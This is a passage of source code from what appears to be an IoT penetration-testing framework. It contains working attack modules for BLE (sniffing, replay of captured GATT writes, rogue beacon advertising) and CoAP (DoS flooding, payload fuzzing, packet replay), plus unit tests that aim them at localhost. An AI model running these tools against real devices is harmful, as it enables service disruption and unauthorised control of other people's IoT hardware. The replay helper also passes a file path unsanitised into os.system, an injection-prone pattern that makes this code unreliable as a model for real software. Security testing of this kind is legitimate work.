PI_MALFORMED, PI_ERROR, "Length is incorrect", EXPFILL }}, // }; //expert_module_t* expert_ip; /* Register the protocol name and description */ proto_nordic_ble = proto_register_protocol("Nordic BLE sniffer meta", "nordic_ble", "nordic_ble"); new_register_dissector("nordic_ble", dissect_nordic_ble, proto_nordic_ble); //expert_ip = expert_register_protocol(proto_nordic_ble); //expert_register_field_array(expert_ip, ei, array_length(ei)); /* Required function calls to register the header fields and subtrees */ // NOTE: THE FOLLOWING LINE BREAKS THE NEWEST WIRESHARK proto_register_field_array(proto_nordic_ble, hf, array_length(hf)); proto_register_subtree_array(ett, array_length(ett)); } void proto_reg_handoff_nordic_ble(void) { static gboolean initialized = FALSE; static dissector_handle_t nordic_ble_handle; static int currentPort; if (!initialized) { /* Use new_create_dissector_handle() to indicate that * dissect_nordic_ble() returns the number of bytes it dissected (or 0 * if it thinks the packet does not belong to nordic ble sniffer). */ nordic_ble_handle = new_create_dissector_handle(dissect_nordic_ble, proto_nordic_ble); btle_dissector_handle = find_dissector("btle"); debug_handle = find_dissector("nordic_debug"); initialized = TRUE; } // } else { // /* If you perform registration functions which are dependent upon // * prefs then you should de-register everything which was associated // * with the previous settings and re-register using the new prefs // * settings here. In general this means you need to keep track of // * the nordic_ble_handle and the value the preference had at the time // * you registered. The nordic_ble_handle value and the value of the // * preference can be saved using local statics in this // * function (proto_reg_handoff). // */ // dissector_delete_uint("tcp.port", currentPort, nordic_ble_handle); // } #ifdef TRANSPARENT dissector_add_uint("udp.port", udp_port, btle_dissector_handle); #else dissector_add_uint("udp.port", udp_port, nordic_ble_handle); dissector_add_uint("wtap_encap", user_dlt_num, nordic_ble_handle); #endif } /* * Editor modelines - http://www.wireshark.org/tools/modelines.html * * Local variables: * c-basic-offset: 4 * tab-width: 8 * indent-tabs-mode: nil * End: * * vi: set shiftwidth =4 tabstop =8 expandtab: * :indentSize =4:tabSize =8:noTabs =true: */ ================================================ FILE: src/protocols/BLE/BLETest.py ================================================ """ BLE (Bluetooth Low Energy) Testing Class Call necessary tests from this class """ class BLETest: @staticmethod def run_test(attack_name): print("BLETest") ================================================ FILE: src/protocols/BLE/__init__.py ================================================ ================================================ FILE: src/protocols/BLE/attacks/__init__.py ================================================ """ This package contains the following BLE attacks: 1) BLE Sniff attack 2) BLE Replay attack """ ================================================ FILE: src/protocols/BLE/attacks/ble_replay_attack.py ================================================ import logging from Entity.attack import Attack from Entity.input_format import InputFormat from protocols.BLE.ble_replay_attack import BLEReplayAttackHelper class BLEReplayAttack(Attack): """ BLE Protocol - BLE Replay Attack Module """ # Input Fields file_path = None def __init__(self): default_parameters = [""] inputs = [ InputFormat("File Path", "file_path", "", str, mandatory=True, from_captured_packets=True), ] Attack.__init__(self, "BLE Replay Attack", inputs, default_parameters, "BLE Replay Attack Definition") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") def run(self): super(BLEReplayAttack, self).run() BLEReplayAttackHelper(self.file_path) def stop_attack(self): pass # Since this attack is so short there is no need to a stop routine. ================================================ FILE: src/protocols/BLE/attacks/ble_sniff_attack.py ================================================ import logging from Entity.attack import Attack from Entity.input_format import InputFormat from protocols.BLE.ble_sniff import BLESniffer class BLESniffAttack(Attack): """ BLE Protocol - BLE Sniff Attack Module """ # Input Fields port = "/dev/ttyUSB0" bleSni = None def __init__(self): default_parameters = ["/dev/ttyUSB0"] inputs = [ InputFormat("Port", "port", self.port, str, mandatory=True), ] Attack.__init__(self, "BLE Sniffing", inputs, default_parameters, "BLE Sniff Definition") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") def run(self): self.bleSni = BLESniffer( self.port) # if we initialize this in init, it gives an error when we want to go back after an attack super(BLESniffAttack, self).run() self.bleSni.run() def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.bleSni.stop_attack() ================================================ FILE: src/protocols/BLE/ble_advertiser.py ================================================ from bluetooth.ble import BeaconService import time import argparse # This one uses pybluez library!!! DEFAULT_ADVERTISEMENT = "1234567890" parser = argparse.ArgumentParser() parser.add_argument("-a", "--advertisement", help="Advertisement input", default=DEFAULT_ADVERTISEMENT) args = parser.parse_args() # You can get an advertisement input from the user or have a default one service = BeaconService() while True: service.start_advertising(args.advertisement, 1, 1, 1, 200) time.sleep(5) # Service.stop_advertising() # Here, we continiously advertise ourselves to hook a naive listener which does not have a white list. # However, we will implement what will happen when we trick a naive scanner later ================================================ FILE: src/protocols/BLE/ble_device.py ================================================ import pexpect class BLEDevice: """ Represents a BLE device. It uses `gatttool` to connect a BLE device. """ def __init__(self, address): self.device = None self.address = address # connect to the device specified with the given address self.connect() def connect(self): """ Connects to the BLE device """ print "Connecting..." # Run gatttool interactively. self.device = pexpect.spawn("gatttool -b " + self.address + " -I") self.device.expect('\[LE\]>', timeout=10) self.device.sendline('connect') self.device.expect('Connection successful.*\[LE\]>', timeout=10) print "Successfully connected!" """ Updates the value of the handle """ def writecmd(self, handle, value): cmd = "char-write-cmd " + handle + " " + value self.device.sendline(cmd) print "Wrote " + value + " to handle: " + handle ================================================ FILE: src/protocols/BLE/ble_protocol.py ================================================ from Entity.protocol import Protocol class BLE(Protocol): def __init__(self): ble_definition = "" attack_suites = [] Protocol.__init__(self, "BLE", attack_suites, ble_definition) ================================================ FILE: src/protocols/BLE/ble_replay_attack.py ================================================ import os from protocols.BLE.ble_device import BLEDevice class BLEReplayAttackHelper: """ This is the helper class which is used to perform BLE Replay attack. """ def __init__(self, file_path): self.file_path = file_path self.write_requests = {} self.run() def run(self): self.create_tmp_file() self.get_write_requests() self.replay_write_requests() self.delete_tmp_file() def create_tmp_file(self): """ Convert pcap file to txt """ # convert pcap file to .txt file file_path = "\\ ".join(self.file_path.split()) os.system("tshark -X lua_script:tmp.txt -r " + file_path + " -V -T text > tmp.txt") def get_write_requests(self): """ Retrieves all write requests from the given file """ # Open the file f = open("tmp.txt", "r") # Get the content of the file content = f.read() # Get frames frames = content.split("\n\n") # Search each frame to find Write Requests for frame in frames: try: # Slave address index slave_address_index = frame.index("Slave Address:") # Update the frame frame = frame[slave_address_index:] # Get the slave address open_para_index = frame.index("(") close_para_index = frame.index(")") slave_address = frame[open_para_index + 1:close_para_index] # Write request index write_request_index = frame.index("Opcode: Write Request") # Update the frame frame = frame[write_request_index:] # Handle index handle_index = frame.index("Handle:") + 8 # Update the frame frame = frame[handle_index:] # Space index space_index = frame.index(" ") # Get the handle handle = frame[:space_index] # Value index value_index = frame.index("Value:") + 7 # Get the value value = frame[value_index:] # Add handle-value to the list if slave_address in self.write_requests: self.write_requests[slave_address].append({"handle": handle, "value": value}) else: self.write_requests[slave_address] = [{"handle": handle, "value": value}] except ValueError: pass print "retrieved write requests" def replay_write_requests(self): """ Replay all write requests """ # Replay all write request for slave_address in self.write_requests: # Create a connection to the device device = BLEDevice(slave_address) # Replay all write request belonging to the device for handle_value_pair in self.write_requests[slave_address]: handle = handle_value_pair["handle"] value = handle_value_pair["value"] device.writecmd(handle, value) print "wrote " + value + " to handle: " + handle def delete_tmp_file(self): """ Delete the created tmp file """ os.remove("tmp.txt") ================================================ FILE: src/protocols/BLE/ble_sniff.py ================================================ import os import sys import time from Utils import CommonUtil from protocols.BLE.Adafruit_BLESniffer import sniffer from protocols.BLE.Adafruit_BLESniffer.SnifferAPI import CaptureFiles class BLESniffer: stopped_flag = False serial_port = None def __init__(self, serial_portt): self.stopped_flag = False # store the captured packets PATH_TO_FILE = BLESniffer.create_file_name() # Instantiate the command line argument parser sniffer.argparser = sniffer.argparse.ArgumentParser( description="Interacts with the Bluefruit LE Friend Sniffer firmware") # Parser the arguments passed in from the command-line sniffer.args = sniffer.argparser.parse_args() sniffer.args.verbose = False print("Capturing data to " + PATH_TO_FILE) CaptureFiles.captureFilePath = PATH_TO_FILE self.serial_port = serial_portt def run(self): # Try to open the serial port try: sniffer.setup(self.serial_port) except OSError: # pySerial returns an OSError if an invalid port is supplied print("Unable to open serial port '" + self.serial_port + "'") sys.exit(-1) except KeyboardInterrupt: sys.exit(-1) # Scan for devices in range until the user makes a selection try: d = None # loop will be skipped if a target device is specified on commandline while d is None: if self.stopped_flag is True: break print("Scanning for BLE devices (5s) ...") devlist = sniffer.scanForDevices() if len(devlist): # Select a device d = sniffer.selectDevice(devlist) print d if self.stopped_flag is True: d = None else: # Start sniffing the selected device print("Attempting to follow device {0}:{1}:{2}:{3}:{4}:{5}".format("%02X" % d.address[0], "%02X" % d.address[1], "%02X" % d.address[2], "%02X" % d.address[3], "%02X" % d.address[4], "%02X" % d.address[5])) # Make sure we actually followed the selected device (i.e. it's still available, etc.) if d is not None: sniffer.mySniffer.follow(d) else: if self.stopped_flag is False: print("ERROR: Could not find the selected device") # Dump packets while (self.stopped_flag is False) and (d is not None): # Dogukan sniffer.dumpPackets() time.sleep(1) # Close gracefully sniffer.mySniffer.doExit() sys.exit() except (KeyboardInterrupt, ValueError, IndexError) as e: # Close gracefully on CTRL+C if 'KeyboardInterrupt' not in str(type(e)): print("Caught exception:", e) sniffer.mySniffer.doExit() sys.exit(-1) def stop_attack(self): self.stopped_flag = True print("BLE sniffing attack has been terminated") time.sleep(2) # Sleep two seconds so the user can see the message @staticmethod def create_file_name(): # store the captured packets return os.path.dirname(os.path.abspath( __file__)) + "/../../captured_packets/BLE_" + CommonUtil.get_current_datetime_for_filename_format() + ".pcap" ================================================ FILE: src/protocols/BLE/ble_tools.py ================================================ from bluepy import btle """ This class enables us to scan for BLE devices. """ class BLEScanner: """ Scan for BLE devices and returns these devices as ScanEntry :param interface the Bluetooth interface :param timeout how long scan operation takes (in seconds) :return A list of ScanEntry objects """ @staticmethod def scan(interface, timeout): scanner = btle.Scanner(interface) entries = scanner.scan(timeout) return entries """ This class is used to create a connection with the device Then, we can access its services or characteristics using the class methods """ class BLEPeripheral: """ Using the given parameters, create a connection with the device :param address MAC address of the device :param address_type fixed (btle.ADDR_TYPE_PUBLIC) or random (btle.ADDR_TYPE_RANDOM) address types :param the Bluetooth interface on which the connection is set """ def __init__(self, address, address_type, interface): self.device = btle.Peripheral(address, address_type, interface) def getServices(self): """ This method gets the services (a list of btle.Service) which are provided by BLE device """ return self.device.getServices() def getCharacteristics(self): """ This method gets the characteristics (a list of btle.Characteristics) which are provided bu BLE device """ return self.device.getCharacteristics() def getAddress(self): """ Methods to get properties of the device """ return self.device.addr def getAddressType(self): return self.device.addrType def getInterface(self): return self.device.iface ================================================ FILE: src/protocols/CoAP/__init__.py ================================================ """ This package contains the following functionalities: 1) Example usage of CoAP. 2) Attacks that is done on CoAP 3) CoAP Scanner 4) Old Attack Scripts for CoAP 5) CoAP Protocol Moreover, we have a class which inherits from Protocol class. """ from coapthon.client.helperclient import HelperClient import enum import logging FORMAT = "%(asctime)s:%(levelname)s:%(name)s:%(message)s" logging.basicConfig(level=logging.DEBUG, format=FORMAT) logger = logging.getLogger("CoAP Init") class CoAPMethods(enum.Enum): EMPTY = 0 GET = 1 POST = 2 PUT = 3 DELETE = 4 def does_method_have_payload(method): """ :type method: CoAPMethods :param method: Method which is tested to have paylaod :return: Whether method has payload or not """ return method in [CoAPMethods.POST, CoAPMethods.PUT] def make_request(client, _path, _method_type, _payload=None): """ :param _path: Path to be fuzzed :param _method_type: Which CoAP method will be used while fuzzing :param _payload: Payload to be fuzzed :type client: HelperClient :return response: Response of request if proper request is done, otherwise None """ try: response = None if _method_type == CoAPMethods.GET: response = client.get(_path) elif _method_type == CoAPMethods.POST: response = client.post(_path, _payload) elif _method_type == CoAPMethods.PUT: response = client.put(_path, _payload) elif _method_type == CoAPMethods.DELETE: response = client.delete(_path) return response except UnicodeEncodeError: logger.error("Unicode encoding error is occurred!") def get_coap_methods_by_name(method_string): uppered_method_name = method_string.upper() if uppered_method_name == "EMPTY": return CoAPMethods.EMPTY elif uppered_method_name == "GET": return CoAPMethods.GET elif uppered_method_name == "POST": return CoAPMethods.POST elif uppered_method_name == "PUT": return CoAPMethods.PUT elif uppered_method_name == "DELETE": return CoAPMethods.DELETE else: logger.error("Unknown CoAP Method Type!") return CoAPMethods.POST def get_coap_methods_as_string(method): if method == CoAPMethods.EMPTY: return "EMPTY" elif method == CoAPMethods.GET: return "GET" elif method == CoAPMethods.POST: return "POST" elif method == CoAPMethods.PUT: return "PUT" elif method == CoAPMethods.DELETE: return "DELETE" else: logger.error("Unknown CoAP Method Type!") return "None" ================================================ FILE: src/protocols/CoAP/attacks/__init__.py ================================================ """ This is a package that contains attacks to CoAP protocol. Currently, it supports the following attacks 1) Denial of Service Attack 2) Fuzzing Attack Suite i ) Payload Size Fuzzer ii) Random Payload Fuzzing 3) Sniff Attack """ ================================================ FILE: src/protocols/CoAP/attacks/coap_dos_attack.py ================================================ import logging import multiprocessing import signal import time import unittest from coapthon.client.helperclient import HelperClient from Entity.attack import Attack from Entity.input_format import InputFormat from protocols import CoAP as PeniotCoAP class CoAPDoSAttack(Attack): """ CoAP Protocol - DoS Attack Module It is created to penetrate CoAP server with tiny interval messages by sending again and again messages """ client = None # Input Fields host = None port = None path = None method = None method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.GET) payload = None timeout = 0.01 # Miscellaneous Members logger = None sent_message_count = 0 # Transmitted fuzzing packets stopped_flag = False def __init__(self): default_parameters = ["", "", "", "", "", 10.0] inputs = [ InputFormat("Host Name", "host", "", str, mandatory=True), InputFormat("Port Number", "port", "", int, mandatory=True), InputFormat("Endpoint", "path", "", str, mandatory=True), InputFormat("Method", "method_string", self.method_string, str, mandatory=True), InputFormat("Payload", "payload", "", str, mandatory=True), InputFormat("Timeout", "timeout", self.timeout, float) ] Attack.__init__(self, "CoAP DoS Attack", inputs, default_parameters, " We send CoAP requests to the client.\n" " The time difference between those requests\n" " can be specified.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Sent message count: {0}, exitting...".format(self.sent_message_count)) self.stopped_flag = True if self.client is not None: self.client.stop() time.sleep(2) # Sleep two seconds so the user can see the message def pre_attack_init(self): self.client = HelperClient(server=(self.host, self.port)) self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string) def run(self): super(CoAPDoSAttack, self).run() self.pre_attack_init() # Start client loop for requests while self.stopped_flag is False: self.sent_message_count += 1 response = PeniotCoAP.make_request(self.client, self.path, self.method, self.payload) self.logger.info("Received message = {0}".format(str(response.line_print))) time.sleep(self.timeout) class TestCoAPDoSAttack(unittest.TestCase): def setUp(self): self.coap_dos_attack = CoAPDoSAttack() def tearDown(self): pass def test_name(self): self.assertEqual("CoAP DoS Attack", self.coap_dos_attack.get_attack_name()) def test_inputs(self): inputs = self.coap_dos_attack.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 6) def test_non_initialized_inputs(self): inputs = self.coap_dos_attack.get_inputs() for _input in inputs: value = getattr(self.coap_dos_attack, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d", 8888, "peniot-coap-test", "pOst", "peniot", 13.2] for index, _input in enumerate(example_inputs): self.coap_dos_attack.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.coap_dos_attack.client) super(CoAPDoSAttack, self.coap_dos_attack).run() inputs = self.coap_dos_attack.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.coap_dos_attack, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_dos_attack(self): def run_attack(): example_inputs = ["127.0.0.1", 5683, "peniot", "get", "peniot", 0.01] for index, _input in enumerate(example_inputs): self.coap_dos_attack.inputs[index].set_value(_input) self.coap_dos_attack.run() print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="DoS Attack") p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/CoAP/attacks/coap_fuzzing_attack_suite.py ================================================ from Entity.attack_suite import AttackSuite from coap_payload_size_fuzzer import * from coap_random_payload_fuzzing import * import multiprocessing import unittest class CoAPFuzzingAttackSuite(AttackSuite): def __init__(self): attacks = [CoAPRandomPayloadFuzzingAttack(), CoAPPayloadSizeFuzzerAttack()] AttackSuite.__init__(self, "CoAP Fuzzing Attack Suite", attacks) class TestCoAPFuzzingAttackSuite(unittest.TestCase): def setUp(self): self.coap_fuzzing_attack_suite = CoAPFuzzingAttackSuite() def tearDown(self): pass def test_name(self): self.assertEqual("CoAP Fuzzing Attack Suite", self.coap_fuzzing_attack_suite.get_attack_suite_name()) def test_attack_list(self): attacks = self.coap_fuzzing_attack_suite.get_attacks() self.assertIsNotNone(attacks) self.assertGreater(len(attacks), 0, "Non inserted attacks") self.assertEquals(len(attacks), 2) def test_attacks(self): attacks = self.coap_fuzzing_attack_suite.get_attacks() for attack in attacks: p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name()) p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/CoAP/attacks/coap_payload_size_fuzzer.py ================================================ import logging import multiprocessing import random import signal import time import unittest from coapthon.client.helperclient import HelperClient from Entity.attack import Attack from Entity.input_format import InputFormat from protocols import CoAP as PeniotCoAP class CoAPPayloadSizeFuzzerAttack(Attack): """ CoAP Protocol - Payload Size Fuzzer Attack module It is created to test any CoAP device as black box test with malformed or semi-malformed inputs """ client = None # Input Fields host = None port = None path = None method = None method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.POST) fuzzing_turn = 10 # Miscellaneous Members logger = None max_payload_length = 2 ** 16 - 1 sent_message_count = 0 # Transmitted fuzzing packets stopped_flag = False def __init__(self): default_parameters = ["", "", "", "", 10, self.max_payload_length] inputs = [ InputFormat("Host Name", "host", "", str, mandatory=True), InputFormat("Port Number", "port", "", int, mandatory=True), InputFormat("Endpoint", "path", "", str, mandatory=True), InputFormat("Method", "method_string", self.method_string, str, mandatory=True), InputFormat("Fuzzing Round Count", "fuzzing_turn", self.fuzzing_turn, int), InputFormat("Maximum Payload Size", "max_payload_length", self.max_payload_length, int, mandatory=True) ] Attack.__init__(self, "CoAP Payload Size Fuzzer Attack", inputs, default_parameters, " CoAP Payload size fuzzer attack description") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Sent message count: {0}, exitting...".format(self.sent_message_count)) self.stopped_flag = True if self.client is not None: self.client.stop() self.client = None time.sleep(2) # Sleep two seconds so the user can see the message def pre_attack_init(self): try: assert PeniotCoAP.does_method_have_payload(self.method) and self.fuzzing_turn >= 2 except AssertionError as e: raise self.client = HelperClient(server=(self.host, self.port)) self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string) def run(self): Attack.run(self) self.pre_attack_init() # Fill the size list as randomly generated size_list = [0, self.max_payload_length] size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.fuzzing_turn - 2)]) fuzzing = 0 self.logger.info("Size payload fuzzing is started. Please consider it may take some time.") for payload_size in size_list: if self.stopped_flag is True: # Attack is terminated break # Create payload and send it random_strings = "".join([chr(_) for _ in range(65, 91)]) + "".join([chr(_) for _ in range(97, 123)]) random_character = random.choice(random_strings) sized_payload = random_character * payload_size PeniotCoAP.make_request(self.client, self.path, self.method, sized_payload) # Informative procedures self.logger.info("Turn {0} is completed".format(fuzzing + 1)) self.sent_message_count += 1 fuzzing += 1 time.sleep(1) if self.stopped_flag is False: self.logger.info("Payload size attack is finished.") else: self.logger.info("Payload size attack has been terminated.") if self.client is not None: self.client.stop() self.client = None class TestCoAPPayloadSizeAttack(unittest.TestCase): def setUp(self): self.coap_payload_size_fuzzer = CoAPPayloadSizeFuzzerAttack() def tearDown(self): pass def test_name(self): self.assertEqual("CoAP Payload Size Fuzzer Attack", self.coap_payload_size_fuzzer.get_attack_name()) def test_inputs(self): inputs = self.coap_payload_size_fuzzer.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 6) def test_non_initialized_inputs(self): inputs = self.coap_payload_size_fuzzer.get_inputs() for _input in inputs: value = getattr(self.coap_payload_size_fuzzer, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d", 8888, "peniot-coap-test", "PuT", 13, 6583] for index, _input in enumerate(example_inputs): self.coap_payload_size_fuzzer.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.coap_payload_size_fuzzer.client) super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run() inputs = self.coap_payload_size_fuzzer.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.coap_payload_size_fuzzer, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_invalid_method(self): example_inputs = ["127.0.0.1", 8888, "peniot-coap-test", "geT", 13, 6583] for index, _input in enumerate(example_inputs): self.coap_payload_size_fuzzer.inputs[index].set_value(_input) super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run() try: self.coap_payload_size_fuzzer.pre_attack_init() except AssertionError as e: self.assertTrue(True) def test_invalid_fuzzing_turn(self): example_inputs = ["127.0.0.1", 8888, "peniot-coap-test", "puT", 1, 6583] for index, _input in enumerate(example_inputs): self.coap_payload_size_fuzzer.inputs[index].set_value(_input) super(CoAPPayloadSizeFuzzerAttack, self.coap_payload_size_fuzzer).run() try: self.coap_payload_size_fuzzer.pre_attack_init() except AssertionError as e: self.assertTrue(True) def test_payload_size_fuzzing_attack(self): def run_attack(): example_inputs = ["127.0.0.1", 5683, "peniot", "pOsT", 3, 6583] for index, _input in enumerate(example_inputs): self.coap_payload_size_fuzzer.inputs[index].set_value(_input) try: self.coap_payload_size_fuzzer.run() except Exception as e: self.assertTrue(False) print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="DoS Attack") p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/CoAP/attacks/coap_random_payload_fuzzing.py ================================================ import logging import multiprocessing import random import signal import time import unittest from coapthon.client.helperclient import HelperClient from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.FuzzerUtil import radamsa_util as rdm from protocols import CoAP as PeniotCoAP class CoAPRandomPayloadFuzzingAttack(Attack): """ CoAP Protocol - Random Payload Fuzzing Attack module It is created to test any CoAP device as black box test with malformed or semi-malformed inputs """ client = None # Input Fields host = None port = None path = None payload = None method = None method_string = PeniotCoAP.get_coap_methods_as_string(PeniotCoAP.CoAPMethods.POST) fuzzing_turn = 10 fuzzing_count = 10 # Miscellaneous Members logger = None max_length_of_random_payload = 100 sent_message_count = 0 # Transmitted fuzzing packets stopped_flag = False def __init__(self): default_parameters = ["", "", "", "", "", 2, 10, 100] inputs = [ InputFormat("Host Name", "host", "", str, mandatory=True), InputFormat("Port Number", "port", "", int, mandatory=True), InputFormat("Endpoint", "path", "", str, mandatory=True), InputFormat("Seed Payload", "payload", "", str, mandatory=True), InputFormat("Method", "method_string", self.method_string, str, mandatory=True), InputFormat("Fuzzing Round Count", "fuzzing_turn", self.fuzzing_turn, int), InputFormat("Number of fuzzer messages", "fuzzing_count", self.fuzzing_count, int), InputFormat("Payload length", "max_length_of_random_payload", self.max_length_of_random_payload, int, mandatory=True) ] Attack.__init__(self, "CoAP Random Payload Fuzzing Attack", inputs, default_parameters, " It creates a random payload and sends \n" " this payload to the client.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Sent message count: {0}, exitting...".format(self.sent_message_count)) self.stopped_flag = True if self.client is not None: self.client.stop() self.client = None time.sleep(2) # Sleep two seconds so the user can see the message def pre_attack_init(self): self.client = HelperClient(server=(self.host, self.port)) self.method = PeniotCoAP.get_coap_methods_by_name(self.method_string) try: assert PeniotCoAP.does_method_have_payload(self.method) and self.fuzzing_turn >= 2 except AssertionError as e: raise def run(self): Attack.run(self) self.pre_attack_init() self.logger.info("Random payload fuzzing is started.") if self.payload is None: length = random.randint(1, self.max_length_of_random_payload) self.payload = "".join([chr(random.randint(1, 127)) for _ in range(length)]) for fuzzing in range(self.fuzzing_turn): if self.stopped_flag is True: break while self.stopped_flag is False: try: returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(self.payload, self.fuzzing_count) if type(returned_strings) == list: fuzzer_messages = [string.decode("utf-8") for string in returned_strings] else: fuzzer_messages = returned_strings.decode("utf-8") break except UnicodeDecodeError: continue # Check whether result is list or not if type(fuzzer_messages) == list: for message in fuzzer_messages: PeniotCoAP.make_request(self.client, self.path, self.method, message) # Increment sent message count self.sent_message_count += 1 else: PeniotCoAP.make_request(self.client, self.path, self.method, fuzzer_messages) # Increment sent message count self.sent_message_count += 1 time.sleep(1) self.logger.info("Turn {0} is completed".format(fuzzing + 1)) if self.stopped_flag is False: self.logger.info("Random payload fuzzing is finished.") else: self.logger.info("Random payload fuzzing has been terminated.") if self.client is not None: self.client.stop() self.client = None class TestCoAPRandomPayloadAttack(unittest.TestCase): def setUp(self): self.coap_random_payload_fuzzer = CoAPRandomPayloadFuzzingAttack() def tearDown(self): pass def test_name(self): self.assertEqual("CoAP Random Payload Fuzzing Attack", self.coap_random_payload_fuzzer.get_attack_name()) def test_inputs(self): inputs = self.coap_random_payload_fuzzer.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 8) def test_non_initialized_inputs(self): inputs = self.coap_random_payload_fuzzer.get_inputs() for _input in inputs: value = getattr(self.coap_random_payload_fuzzer, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d", 8888, "peniot-coap-test", "Heyyo", "PuT", 13, 12, 11] for index, _input in enumerate(example_inputs): self.coap_random_payload_fuzzer.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.coap_random_payload_fuzzer.client) super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run() inputs = self.coap_random_payload_fuzzer.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.coap_random_payload_fuzzer, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_invalid_method(self): example_inputs = ["127.0.0.1", 8888, "peniot-coap-test", "Ghetto", "geT", 13, 12, 11] for index, _input in enumerate(example_inputs): self.coap_random_payload_fuzzer.inputs[index].set_value(_input) super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run() try: self.coap_random_payload_fuzzer.pre_attack_init() except AssertionError as e: self.assertTrue(True) def test_invalid_fuzzing_turn(self): example_inputs = ["127.0.0.1", 8888, "peniot-coap-test", "Keyyo", "puT", 1, 12, 11] for index, _input in enumerate(example_inputs): self.coap_random_payload_fuzzer.inputs[index].set_value(_input) super(CoAPRandomPayloadFuzzingAttack, self.coap_random_payload_fuzzer).run() try: self.coap_random_payload_fuzzer.pre_attack_init() except AssertionError as e: self.assertTrue(True) def test_random_payload_fuzzing_attack(self): def run_attack(): example_inputs = ["127.0.0.1", 5683, "peniot", None, "pOsT", 3, 5, 12] for index, _input in enumerate(example_inputs): self.coap_random_payload_fuzzer.inputs[index].set_value(_input) try: self.coap_random_payload_fuzzer.run() except Exception as e: self.assertTrue(False) print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name=self.coap_random_payload_fuzzer.get_attack_name()) p.start() time.sleep(15) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/CoAP/attacks/coap_replay_attack.py ================================================ import logging import signal import socket import time import unittest from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.SnifferUtil import generic_sniffer from protocols.CoAP.coap_scanner import CoAPScanner class CoAPReplayAttack(Attack): """ CoAP Protocol - Replay Attack module It is created to scan/sniff the valid traffic of target protocol and send the selected packets to the target device """ captured_packets = None # Input Fields selected_index = 0 timeout = generic_sniffer.DEFAULT_SNIFF_TIMEOUT interface = generic_sniffer.DEFAULT_INTERFACE # Miscellaneous Members logger = None def __init__(self): default_parameters = ["", 10, "any"] inputs = [ InputFormat("Selected packet index", "selected_index", self.selected_index, int, mandatory=True), InputFormat("Timeout", "timeout", self.timeout, float), InputFormat("Interface", "interface", str(self.interface), str, mandatory=True) ] Attack.__init__(self, "CoAP Replay Attack", inputs, default_parameters, " It listens to the network traffic and\n" " sends captured packets without changing anything.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Exitting...") time.sleep(2) # Sleep two seconds so the user can see the message def pre_attack_init(self): try: assert self.selected_index >= 0 except AssertionError as e: self.logger.error("Invalid input value!") raise def run(self): super(CoAPReplayAttack, self).run() self.pre_attack_process() # Sniff the packets so we can replay self.pre_attack_init() # Do the necessary checks try: selected_packet = self.captured_packets[self.selected_index] self.logger.info(selected_packet) udp_payload = CoAPScanner.get_raw_udp_payload_as_bytes(selected_packet) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(udp_payload, 